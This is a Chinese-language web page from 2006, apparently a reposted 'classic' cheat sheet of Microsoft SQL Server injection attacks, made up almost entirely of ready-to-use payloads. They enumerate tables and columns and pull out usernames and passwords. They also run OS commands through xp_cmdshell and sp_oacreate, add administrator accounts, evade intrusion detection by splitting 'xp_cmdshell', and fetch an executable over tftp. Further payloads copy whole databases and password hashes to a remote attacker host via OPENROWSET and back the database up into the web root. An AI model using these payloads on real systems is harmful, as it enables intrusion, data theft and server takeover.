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						     <h1 class="ContentTitle"><strong>非常经典的Ms Sql注射资料</strong></h1>
						     <h2 class="ContentAuthor">作者:apple 日期:2006-06-09</h2>
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					             Sql注射总结（强烈推荐）<br/><br/>Sql注射总结（早源于'or'1'='1） <br/><br/>最重要的表名：<br/>select * from sysobjects<br/>sysobjects ncsysobjects<br/>sysindexes tsysindexes<br/>syscolumns<br/>systypes<br/>sysusers<br/>sysdatabases<br/>sysxlogins<br/>sysprocesses<br/><br/><br/>最重要的一些用户名（默认sql数据库中存在着的）<br/>public<br/>dbo<br/>guest(一般禁止，或者没权限)<br/>db_sercurityadmin<br/>ab_dlladmin<br/><br/>一些默认扩展<br/><br/><br/>xp_regaddmultistring <br/>xp_regdeletekey <br/>xp_regdeletevalue <br/>xp_regenumkeys <br/>xp_regenumvalues <br/>xp_regread <br/>xp_regremovemultistring <br/>xp_regwrite<br/>xp_availablemedia 驱动器相关<br/>xp_dirtree 目录<br/>xp_enumdsn ODBC连接<br/>xp_loginconfig 服务器安全模式信息<br/>xp_makecab 创建压缩卷<br/>xp_ntsec_enumdomains domain信息<br/>xp_terminate_process 终端进程，给出一个PID<br/><br/>例如：<br/>sp_addextendedproc 'xp_webserver', 'c:\temp\xp_foo.dll'<br/>exec xp_webserver<br/>sp_dropextendedproc 'xp_webserver'<br/>bcp "select * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar<br/>' group by users.id having 1=1-<br/>' group by users.id, users.username, users.password, users.privs having 1=1-<br/>'; insert into users values( 666, 'attacker', 'foobar', 0xffff )-<br/><br/>union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='logintable'-<br/>union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='logintable' where COLUMN_NAME NOT IN ('login_id')-<br/>union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='logintable' where COLUMN_NAME NOT IN ('login_id','login_name')-<br/>union select TOP 1 login_name FROM logintable-<br/>union select TOP 1 password FROM logintable where login_name='Rahul'--<br/>构造语句：查询是否存在xp_cmdshell<br/>' union select @@version,1,1,1--<br/>and 1=(select @@VERSION)<br/>and 'sa'=(select System_user)<br/>' union select ret,1,1,1 from foo--<br/>' union select min(username),1,1,1 from users where username &gt; 'a'-<br/>' union select min(username),1,1,1 from users where username &gt; 'admin'-<br/>' union select password,1,1,1 from users where username = 'admin'-- <br/>and user_name()='dbo'<br/>and 0&lt;&gt;(select user_name()-<br/>; DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C：\WINNT\system32\cmd.exe /c net user swap 5245886 /add'<br/>and 1=(select count(*) FROM master.dbo.sysobjects where xtype = 'X' AND name = 'xp_cmdshell')<br/>;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xplog70.dll'<br/><br/><br/>1=(%20select%20count(*)%20from%20master.dbo.sysobjects%20where%20xtype='x'%20and%20name='xp_cmdshell')<br/>and 1=(select IS_SRVROLEMEMBER('sysadmin')) 判断sa权限是否<br/>and 0&lt;&gt;(select top 1 paths from newtable)-- 暴库大法<br/>and 1=(select name from master.dbo.sysdatabases where dbid=7) 得到库名（从1到5都是系统的id，6以上才可以判断）<br/>创建一个虚拟目录E盘：<br/>declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,' cscript.exe c：\inetpub\wwwroot\mkwebdir.vbs -w "默认 Web 站点" -v "e","e：\"'<br/>访问属性：（配合写入一个webshell）<br/>declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,' cscript.exe c：\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse'<br/><br/><br/>and 0&lt;&gt;(select count(*) from master.dbo.sysdatabases where name&gt;1 and dbid=6) <br/>依次提交 dbid = 7,8,9.... 得到更多的数据库名<br/>and 0&lt;&gt;(select top 1 name from bbs.dbo.sysobjects where xtype='U') 暴到一个表 假设为 admin<br/><br/>and 0&lt;&gt;(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name not in ('Admin')) 来得到其他的表。<br/>and 0&lt;&gt;(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' <br/>and uid&gt;(str(id))) 暴到UID的数值假设为18779569 uid=id<br/>and 0&lt;&gt;(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的一个字段,假设为 user_id<br/>and 0&lt;&gt;(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in <br/>('id',...)) 来暴出其他的字段<br/>and 0&lt;(select user_id from BBS.dbo.admin where username&gt;1) 可以得到用户名 <br/>依次可以得到密码。。。。。假设存在user_id username ,password 等字段<br/><br/>Show.asp?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin<br/>Show.asp?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin<br/>(union语句到处风靡啊，access也好用<br/><br/>暴库特殊技巧：:%5c='\' 或者把/和\ 修改%5提交<br/>and 0&lt;&gt;(select count(*) from master.dbo.sysdatabases where name&gt;1 and dbid=6)<br/>and 0&lt;&gt;(select top 1 name from bbs.dbo.sysobjects where xtype='U') 得到表名 <br/>and 0&lt;&gt;(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name not in('Address'))<br/>and 0&lt;&gt;(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid&gt;(str(id))) 判断id值<br/>and 0&lt;&gt;(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段<br/><br/><a href="http://xx.xx.xx.xx/111.asp?id=3400" target="_blank"><a href="http://xx.xx.xx.xx/111.asp?id=3400" target="_blank"><a href="http://xx.xx.xx.xx/111.asp?id=3400" target="_blank"><a href="http://xx.xx.xx.xx/111.asp?id=3400" target="_blank">http://xx.xx.xx.xx/111.asp?id=3400</a></a></a></a>;create table [dbo].[swap] ([swappass][char](255));-- <br/><br/><a href="http://xx.xx.xx.xx/111.asp?id=3400" target="_blank"><a href="http://xx.xx.xx.xx/111.asp?id=3400" target="_blank"><a href="http://xx.xx.xx.xx/111.asp?id=3400" target="_blank"><a href="http://xx.xx.xx.xx/111.asp?id=3400" target="_blank">http://xx.xx.xx.xx/111.asp?id=3400</a></a></a></a> and (select top 1 swappass from swap)=1 <br/>;create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_regread @rootkey='HKEY_LOCAL_MACHINE', @key='SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\', @value_name='/', values=@test OUTPUT insert into paths(path) values(@test)<br/><br/><a href="http://61.131.96.39/PageShow.asp?TianName=" target="_blank">http://61.131.96.39/PageShow.asp?TianName=</a>政策法规&InfoID={57C4165A-4206-4C0D-A8D2-E70666EE4E08};use%20master;declare%20@s%20%20int;exec%20sp_oacreate%20"wscript.shell",@s%20out;exec%20sp_oamethod%20@s,"run",NULL,"cmd.exe%20/c%20ping%201.1.1.1";-- <br/><br/><br/>得到了web路径d:\xxxx,接下来： <br/><a href="http://xx.xx.xx.xx/111.asp?id=3400" target="_blank"><a href="http://xx.xx.xx.xx/111.asp?id=3400" target="_blank"><a href="http://xx.xx.xx.xx/111.asp?id=3400" target="_blank"><a href="http://xx.xx.xx.xx/111.asp?id=3400" target="_blank">http://xx.xx.xx.xx/111.asp?id=3400</a></a></a></a>;use ku1;-- <br/><a href="http://xx.xx.xx.xx/111.asp?id=3400" target="_blank"><a href="http://xx.xx.xx.xx/111.asp?id=3400" target="_blank"><a href="http://xx.xx.xx.xx/111.asp?id=3400" target="_blank"><a href="http://xx.xx.xx.xx/111.asp?id=3400" target="_blank">http://xx.xx.xx.xx/111.asp?id=3400</a></a></a></a>;create table cmd (str image);-- <br/><br/><br/>传统的存在xp_cmdshell的测试过程：<br/>;exec master..xp_cmdshell 'dir'<br/>;exec master.dbo.sp_addlogin hax;-- <br/>;exec master.dbo.sp_password null,hax,hax;-- <br/>;exec master.dbo.sp_addsrvrolemember hax sysadmin;-- <br/>;exec master.dbo.xp_cmdshell 'net user hax 5258 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- <br/>;exec master.dbo.xp_cmdshell 'net localgroup administrators hax /add';-- <br/>exec master..xp_servicecontrol 'start', 'schedule' <br/>exec master..xp_servicecontrol 'start', 'server'<br/>http：//www.xxx.com/list.asp?classid=1; DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C：\WINNT\system32\cmd.exe /c net user swap 5258 /add' <br/>;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C：\WINNT\system32\cmd.exe /c net localgroup administrators swap/add'<br/><br/><a href="http://localhost/show.asp?id=1" target="_blank">http://localhost/show.asp?id=1</a>'; exec master..xp_cmdshell 'tftp -i youip get file.exe'- <br/><br/>declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:\' <br/>declare @a sysname set @a='xp'+'_cm'+'dshell' exec @a 'dir c:\'<br/>;declare @a;set @a=db_name();backup database @a to disk='你的IP你的共享目录bak.dat' <br/>如果被限制则可以。<br/>select * from openrowset('sqloledb','server';'sa';'','select ''OK!'' exec master.dbo.sp_addlogin hax')<br/>传统查询构造：<br/>select * FROM news where id=... AND topic=... AND .....<br/>admin'and 1=(select count(*) from [user] where username='victim' and right(left(userpass,01),1)='1') and userpass &lt;&gt;'<br/>select 123;--<br/>;use master;--<br/>:a' or name like 'fff%';-- 显示有一个叫ffff的用户哈。<br/>'and 1&lt;&gt;(select count(email) from [user]);--<br/>;update [users] set email=(select top 1 name from sysobjects where xtype='u' and status&gt;0) where name='ffff';--<br/>说明:<br/>上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。<br/>通过查看ffff的用户资料可得第一个用表叫ad<br/>然后根据表名ad得到这个表的ID<br/>ffff';update [users] set email=(select top 1 id from sysobjects where xtype='u' and name='ad') where name='ffff';--<br/><br/>象下面这样就可以得到第二个表的名字了<br/>ffff';update [users] set email=(select top 1 name from sysobjects where xtype='u' and id&gt;581577110) where name='ffff';--<br/>ffff';update [users] set email=(select top 1 count(id) from password) where name='ffff';--<br/>ffff';update [users] set email=(select top 1 pwd from password where id=2) where name='ffff';--<br/><br/>ffff';update [users] set email=(select top 1 name from password where id=2) where name='ffff';--<br/><br/>exec master..xp_servicecontrol 'start', 'schedule' <br/>exec master..xp_servicecontrol 'start', 'server'<br/>sp_addextendedproc 'xp_webserver', 'c:\temp\xp_foo.dll' <br/>扩展存储就可以通过一般的方法调用： <br/>exec xp_webserver <br/>一旦这个扩展存储执行过，可以这样删除它: <br/>sp_dropextendedproc 'xp_webserver' <br/><br/>insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)-<br/><br/>insert into users values( 667,123,123,0xffff)-<br/><br/>insert into users values ( 123, 'admin''--', 'password', 0xffff)-<br/><br/>;and user&gt;0<br/>;;and (select count(*) from sysobjects)&gt;0<br/>;;and (select count(*) from mysysobjects)&gt;0 //为access数据库<br/><br/>-----------------------------------------------------------通常注射的一些介绍：<br/>A) ID=49 这类注入的参数是数字型，SQL语句原貌大致如下：<br/>select * from 表名 where 字段=49<br/>注入的参数为ID=49 And [查询条件]，即是生成语句：<br/>select * from 表名 where 字段=49 And [查询条件]<br/><br/>(B) Class=连续剧 这类注入的参数是字符型，SQL语句原貌大致概如下：<br/>select * from 表名 where 字段='连续剧' <br/>注入的参数为Class=连续剧' and [查询条件] and ''=' ，即是生成语句：<br/>select * from 表名 where 字段='连续剧' and [查询条件] and ''=''<br/>(C) 搜索时没过滤参数的，如keyword=关键字，SQL语句原貌大致如下：<br/>select * from 表名 where 字段like '%关键字%' <br/>注入的参数为keyword=' and [查询条件] and '%25'='， 即是生成语句：<br/>select * from 表名 where字段like '%' and [查询条件] and '%'='%'<br/>;;and (select Top 1 name from sysobjects where xtype='U' and status&gt;0)&gt;0<br/>sysobjects是SQLServer的系统表，存储着所有的表名、视图、约束及其它对象，xtype='U' and status&gt;0，表示用户建立的表名，上面的语句将第一个表名取出，与0比较大小，让报错信息把表名暴露出来。<br/>;;and (select Top 1 col_name(object_id('表名'),1) from sysobjects)&gt;0<br/>从⑤拿到表名后，用object_id('表名')获取表名对应的内部ID，col_name(表名ID,1)代表该表的第1个字段名，将1换成2,3,4...就可以逐个获取所猜解表里面的字段名。<br/><br/><br/>post.htm内容：主要是方便输入。<br/>&lt;iframe name=p src=# width=800 height=350 frameborder=0&gt;&lt;/iframe&gt;<br/>&lt;br&gt;<br/>&lt;form action=http://test.com/count.asp target=p&gt; <br/>&lt;input name="id" value="1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status&gt;0);--" style="width:750"&gt;<br/>&lt;input type=submit value="&gt;&gt;&gt;"&gt;<br/>&lt;input type=hidden name=fno value="2, 3"&gt;<br/>&lt;/form&gt;<br/>枚举出他的数据表名：<br/>id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status&gt;0);--<br/>这是将第一个表名更新到aaa的字段处。<br/>读出第一个表，第二个表可以这样读出来（在条件后加上 and name&lt;&gt;'刚才得到的表名'）。<br/>id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status&gt;0 and name&lt;&gt;'vote');--<br/>然后id=1552 and exists(select * from aaa where aaa&gt;5)<br/>读出第二个表，^^^^^^一个个的读出，直到没有为止。<br/>读字段是这样：<br/>id=1552;update aaa set aaa=(select top 1 col_name(object_id('表名'),1));--<br/>然后id=1552 and exists(select * from aaa where aaa&gt;5)出错，得到字段名<br/>id=1552;update aaa set aaa=(select top 1 col_name(object_id('表名'),2));--<br/>然后id=1552 and exists(select * from aaa where aaa&gt;5)出错，得到字段名<br/>--------------------------------高级技巧：<br/>[获得数据表名][将字段值更新为表名，再想法读出这个字段的值就可得到表名]<br/>update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status&gt;0 [ and name&lt;&gt;'你得到的表名' 查出一个加一个]) [ where 条件]<br/>select top 1 name from sysobjects where xtype=u and status&gt;0 and name not in('table1','table2',…)<br/>通过SQLSERVER注入漏洞建数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]<br/><br/>[获得数据表字段名][将字段值更新为字段名，再想法读出这个字段的值就可得到字段名]<br/>update 表名 set 字段=(select top 1 col_name(object_id('要查询的数据表名'),字段列如:1) [ where 条件]<br/><br/>绕过IDS的检测[使用变量]<br/>declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:\'<br/>declare @a sysname set @a='xp'+'_cm'+'dshell' exec @a 'dir c:\'<br/><br/><br/>1、 开启远程数据库<br/>基本语法<br/>select * from OPENROWSET('SQLOLEDB', 'server=servername;uid=sa;pwd=apachy_123', 'select * from table1' ) <br/>参数: (1) OLEDB Provider name<br/>2、 其中连接字符串参数可以是任何和端口用来连接,比如<br/>select * from OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from table'<br/><br/>要复制目标主机的整个数据库，首先要在目标主机上和自己机器上的数据库建立连接(如何在目标主机上建立远程连接，刚才已经讲了),之后insert所有远程表到本地表。<br/><br/>基本语法：<br/>insert into OPENROWSET('SQLOLEDB', 'server=servername;uid=sa;pwd=apachy_123', 'select * from table1') select * from table2 <br/>这行语句将目标主机上table2表中的所有数据复制到远程数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口，指向需要的地方，比如：<br/>insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from table1') select * from table2<br/><br/>insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=hack3r;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from _sysdatabases') <br/>select * from master.dbo.sysdatabases <br/><br/>insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=hack3r;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from _sysobjects') <br/>select * from user_database.dbo.sysobjects <br/><br/>insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from _syscolumns') <br/>select * from user_database.dbo.syscolumns<br/><br/>之后，便可以从本地数据库中看到目标主机的库结构，这已经易如反掌，不多讲，复制数据库：<br/>insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from table1') select * from database..table1 <br/><br/>insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from table2') select * from database..table2<br/><br/>...... <br/><br/>3、 复4、 制哈西表（HASH）<br/><br/>这实际上是上述复5、 制数据库的一个扩展应用。登录密码的hash存储于sysxlogins中。方法如下：<br/>insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from _sysxlogins') select * from database.dbo.sysxlogins<br/>得到hash之后，6、 就可以进行暴力破解。这需要一点运气和大量时间。<br/><br/><br/>遍历目录的方法：<br/>先创建一个临时表：temp<br/>'5;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--<br/>5';insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器<br/>5';insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表<br/>5';insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构,并寸入temp表中<br/><br/>5';insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看某个文件的内容<br/>5';insert into temp(id) exec master.dbo.xp_cmdshell 'dir c:\';--<br/>5';insert into temp(id) exec master.dbo.xp_cmdshell 'dir c:\ *.asp /s/a';--<br/>5';insert into temp(id) exec master.dbo.xp_cmdshell 'cscript C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc'<br/><br/>5';insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- （xp_dirtree适用权限PUBLIC）<br/>写入表：<br/>语句1：<a href="http://www.xxxxx.com/down/list.asp?id=1" target="_blank"><a href="http://www.xxxxx.com/down/list.asp?id=1" target="_blank">http://www.xxxxx.com/down/list.asp?id=1</a></a>　and　1=(select IS_SRVROLEMEMBER('sysadmin'));-- <br/>语句2：<a href="http://www.xxxxx.com/down/list.asp?id=1" target="_blank"><a href="http://www.xxxxx.com/down/list.asp?id=1" target="_blank">http://www.xxxxx.com/down/list.asp?id=1</a></a>　and　1=(select IS_SRVROLEMEMBER('serveradmin'));-- <br/>语句3：<a href="http://www.xxxxx.com/down/list.asp?id=1" target="_blank"><a href="http://www.xxxxx.com/down/list.asp?id=1" target="_blank">http://www.xxxxx.com/down/list.asp?id=1</a></a>　and　1=(select IS_SRVROLEMEMBER('setupadmin'));-- <br/>语句4：<a href="http://www.xxxxx.com/down/list.asp?id=1" target="_blank"><a href="http://www.xxxxx.com/down/list.asp?id=1" target="_blank">http://www.xxxxx.com/down/list.asp?id=1</a></a>　and　1=(select IS_SRVROLEMEMBER('securityadmin'));-- <br/>语句5：<a href="http://www.xxxxx.com/down/list.asp?id=1" target="_blank"><a href="http://www.xxxxx.com/down/list.asp?id=1" target="_blank">http://www.xxxxx.com/down/list.asp?id=1</a></a>　and　1=(select IS_SRVROLEMEMBER('securityadmin'));-- <br/>语句6：<a href="http://www.xxxxx.com/down/list.asp?id=1" target="_blank"><a href="http://www.xxxxx.com/down/list.asp?id=1" target="_blank">http://www.xxxxx.com/down/list.asp?id=1</a></a>　and　1=(select IS_SRVROLEMEMBER('diskadmin'));-- <br/>语句7：<a href="http://www.xxxxx.com/down/list.asp?id=1" target="_blank"><a href="http://www.xxxxx.com/down/list.asp?id=1" target="_blank">http://www.xxxxx.com/down/list.asp?id=1</a></a>　and　1=(select IS_SRVROLEMEMBER('bulkadmin'));-- <br/>语句8：<a href="http://www.xxxxx.com/down/list.asp?id=1" target="_blank"><a href="http://www.xxxxx.com/down/list.asp?id=1" target="_blank">http://www.xxxxx.com/down/list.asp?id=1</a></a>　and　1=(select IS_SRVROLEMEMBER('bulkadmin'));-- <br/>语句9：<a href="http://www.xxxxx.com/down/list.asp?id=1" target="_blank"><a href="http://www.xxxxx.com/down/list.asp?id=1" target="_blank">http://www.xxxxx.com/down/list.asp?id=1</a></a>　and　1=(select IS_MEMBER('db_owner'));-- <br/>把路径写到表中去：<br/><a href="http://www.xxxxx.com/down/list.asp?id=1" target="_blank">http://www.xxxxx.com/down/list.asp?id=1</a>;create　table　dirs(paths varchar(100), id int)- <br/><a href="http://http://www.xxxxx.com/down/list.asp?id=1" target="_blank"><a href="http://http://www.xxxxx.com/down/list.asp?id=1" target="_blank"><a href="http://http://www.xxxxx.com/down/list.asp?id=1" target="_blank"><a href="http://http://www.xxxxx.com/down/list.asp?id=1" target="_blank">http://http://www.xxxxx.com/down/list.asp?id=1</a></a></a></a>;insert 　dirs　exec　master.dbo.xp_dirtree 'c:\'- <br/><a href="http://http://www.xxxxx.com/down/list.asp?id=1" target="_blank"><a href="http://http://www.xxxxx.com/down/list.asp?id=1" target="_blank"><a href="http://http://www.xxxxx.com/down/list.asp?id=1" target="_blank"><a href="http://http://www.xxxxx.com/down/list.asp?id=1" target="_blank">http://http://www.xxxxx.com/down/list.asp?id=1</a></a></a></a>　and　0&lt;&gt;(select　top　1　paths　from　dirs)- <br/><a href="http://http://www.xxxxx.com/down/list.asp?id=1" target="_blank"><a href="http://http://www.xxxxx.com/down/list.asp?id=1" target="_blank"><a href="http://http://www.xxxxx.com/down/list.asp?id=1" target="_blank"><a href="http://http://www.xxxxx.com/down/list.asp?id=1" target="_blank">http://http://www.xxxxx.com/down/list.asp?id=1</a></a></a></a>　and　0&lt;&gt;(select　top　1　paths　from　dirs　where　paths　not　in('@Inetpub'))- <br/>语句：<a href="http://http://www.xxxxx.com/down/list.asp?id=1" target="_blank"><a href="http://http://www.xxxxx.com/down/list.asp?id=1" target="_blank">http://http://www.xxxxx.com/down/list.asp?id=1</a></a>;create　table　dirs1(paths　varchar(100),　id　int)-- <br/>语句：<a href="http://http://www.xxxxx.com/down/list.asp?id=1" target="_blank"><a href="http://http://www.xxxxx.com/down/list.asp?id=1" target="_blank">http://http://www.xxxxx.com/down/list.asp?id=1</a></a>;insert　dirs　exec　master.dbo.xp_dirtree 'e:\web'-- <br/>语句：<a href="http://http://www.xxxxx.com/down/list.asp?id=1" target="_blank"><a href="http://http://www.xxxxx.com/down/list.asp?id=1" target="_blank">http://http://www.xxxxx.com/down/list.asp?id=1</a></a>　and　0&lt;&gt;(select　top　1　paths　from　dirs1)- <br/>把数据库备份到网页目录：下载<br/><a href="http://http://www.xxxxx.com/down/list.asp?id=1" target="_blank"><a href="http://http://www.xxxxx.com/down/list.asp?id=1" target="_blank"><a href="http://http://www.xxxxx.com/down/list.asp?id=1" target="_blank"><a href="http://http://www.xxxxx.com/down/list.asp?id=1" target="_blank">http://http://www.xxxxx.com/down/list.asp?id=1</a></a></a></a>;declare　@a　sysname;　set　@a=db_name();backup　database　@a　to　disk='e:\web\down.bak';-- <br/><br/><br/>and%201=(select%20top%201%20name%20from(select%20top%2012%20id,name%20from%20sysobjects%20where%20xtype=char(85))%20T%20order%20by%20id%20desc)<br/>and%201=(select%20Top%201%20col_name(object_id('USER_LOGIN'),1)%20from%20sysobjects) 参看相关表。<br/>and 1=(select%20user_id%20from%20USER_LOGIN)<br/>and%200=(select%20user%20from%20USER_LOGIN%20where%20user&gt;1) <br/><br/>如果可以通过连接符注释掉后面的验证，那么就更有意思了，来看我们能作什么：<br/>a、在用户名位置输入【admin';exec master.dbo.sp_addlogin Cool;--】，添加一个sql用户<br/>b、在用户名位置输入【admin';exec master.dbo.sp_password null,123456,Cool;--】，给Cool设置密码为123456<br/>c、在用户名位置输入【admin';exec master.dbo.sp_addsrvrolemember Cool,sysadmin;--】，给Cool赋予System Administrator权限 <br/>
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